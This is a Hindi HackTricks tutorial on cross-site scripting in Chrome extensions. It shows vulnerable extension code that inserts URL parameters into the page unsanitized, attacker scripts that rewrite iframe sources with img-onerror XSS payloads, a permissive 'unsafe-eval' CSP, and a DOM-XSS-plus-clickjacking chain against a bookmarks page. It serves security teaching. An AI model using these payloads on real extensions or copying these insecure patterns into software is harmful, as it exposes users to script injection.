BrowExt - XSS उदाहरण

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Iframe के माध्यम से क्रॉस-साइट स्क्रिप्टिंग (XSS)

इस सेटअप में, एक सामग्री स्क्रिप्ट को Iframe को स्थापित करने के लिए लागू किया गया है, जिसमें Iframe के स्रोत के रूप में क्वेरी पैरामीटर के साथ एक URL शामिल है:

javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
chrome.runtime.getURL("message.html") +
"?content=" +
encodeURIComponent(result.message) +
"&redirect=https://example.net/details"
frame.src = constructedURL
})

एक सार्वजनिक रूप से सुलभ HTML पृष्ठ, message.html, को URL में पैरामीटर के आधार पर दस्तावेज़ शरीर में सामग्री को गतिशील रूप से जोड़ने के लिए डिज़ाइन किया गया है:

javascript
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search)
let userContent = urlParams.get("content")
$(document.body).html(
`${userContent} <button id='detailBtn'>Details</button>`
)
$("#detailBtn").on("click", () => {
let destinationURL = urlParams.get("redirect")
chrome.tabs.create({ url: destinationURL })
})
})

एक दुर्भावनापूर्ण स्क्रिप्ट एक प्रतिकूल के पृष्ठ पर निष्पादित होती है, जो Iframe के स्रोत के content पैरामीटर को संशोधित करती है ताकि एक XSS पेलोड पेश किया जा सके। यह Iframe के स्रोत को एक हानिकारक स्क्रिप्ट शामिल करने के लिए अपडेट करके प्राप्त किया जाता है:

javascript
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src
let baseURL = targetFrame.split("?")[0]
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>"
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`

document.querySelector("iframe").src = maliciousURL
}, 1000)

एक अत्यधिक अनुमति देने वाली सामग्री सुरक्षा नीति जैसे:

json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

JavaScript के निष्पादन की अनुमति देता है, जिससे सिस्टम XSS हमलों के प्रति संवेदनशील हो जाता है।

XSS को उत्तेजित करने के लिए एक वैकल्पिक दृष्टिकोण Iframe तत्व बनाना और इसके स्रोत को हानिकारक स्क्रिप्ट को content पैरामीटर के रूप में शामिल करना है:

javascript
let newFrame = document.createElement("iframe")
newFrame.src =
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)

DOM-आधारित XSS + ClickJacking

यह उदाहरण मूल पोस्ट लेख से लिया गया था।

मुख्य समस्या /html/bookmarks.html में स्थित एक DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता से उत्पन्न होती है। समस्या वाला JavaScript, जो bookmarks.js का हिस्सा है, नीचे विस्तृत किया गया है:

javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false

var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})

यह स्निपेट txtName इनपुट फ़ील्ड से मान प्राप्त करता है और HTML उत्पन्न करने के लिए स्ट्रिंग संयोजन का उपयोग करता है, जिसे फिर jQuery के .append() फ़ंक्शन का उपयोग करके DOM में जोड़ा जाता है।

आमतौर पर, Chrome एक्सटेंशन की सामग्री सुरक्षा नीति (CSP) ऐसी कमजोरियों को रोकती है। हालाँकि, ‘unsafe-eval’ के साथ CSP में ढील और jQuery के DOM हेरफेर विधियों का उपयोग (जो globalEval() का उपयोग करके स्क्रिप्ट को eval() में पास करते हैं जब DOM में डाला जाता है) के कारण, शोषण अभी भी संभव है।

हालांकि यह कमजोरी महत्वपूर्ण है, इसका शोषण आमतौर पर उपयोगकर्ता इंटरैक्शन पर निर्भर करता है: पृष्ठ पर जाना, XSS पेलोड दर्ज करना, और “Add” बटन को सक्रिय करना।

इस कमजोरी को बढ़ाने के लिए, एक द्वितीयक क्लिकजैकिंग कमजोरी का शोषण किया जाता है। Chrome एक्सटेंशन का मैनिफेस्ट एक विस्तृत web_accessible_resources नीति को प्रदर्शित करता है:

json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

विशेष रूप से, /html/bookmarks.html पृष्ठ फ्रेमिंग के प्रति संवेदनशील है, इस प्रकार clickjacking के लिए कमजोर है। इस कमजोरी का उपयोग पृष्ठ को हमलावर की साइट के भीतर फ्रेम करने के लिए किया जाता है, इसे DOM तत्वों के साथ ओवरले करके इंटरफेस को धोखे से redesign किया जाता है। यह हेरफेर पीड़ितों को अनजाने में अंतर्निहित एक्सटेंशन के साथ इंटरैक्ट करने के लिए प्रेरित करता है।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें